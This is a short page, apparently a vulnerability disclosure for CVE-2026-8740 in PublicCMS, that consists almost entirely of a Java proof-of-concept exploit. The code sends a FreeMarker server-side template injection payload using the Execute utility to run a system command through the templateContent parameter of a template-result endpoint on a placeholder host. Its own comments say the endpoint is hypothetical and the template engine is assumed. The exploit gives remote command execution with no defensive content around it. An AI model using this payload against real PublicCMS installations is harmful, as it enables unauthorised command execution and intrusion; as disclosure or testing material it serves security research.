CVE-2026-8740: PublicCMS模板注入漏洞

/* * PoC for CVE-2026-8740 * Demonstrates SSTI via templateContent parameter */ import java.io.*; import java.net.*; public class CVE_2026_8740_PoC { public static void main(String[] args) { try { // Target URL (Hypothetical based on description) String url = "http://target-host:8080/api/directive/tools/templateResult"; // Payload attempts to execute a simple command to verify vulnerability // Assuming FreeMarker or similar Java template engine syntax String payload = "${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"; String params = "templateContent=" + URLEncoder.encode(payload, "UTF-8"); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.getOutputStream().write(params.getBytes("UTF-8")); System.out.println("Response Code: " + conn.getResponseCode()); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); } catch (Exception e) { e.printStackTrace(); } } }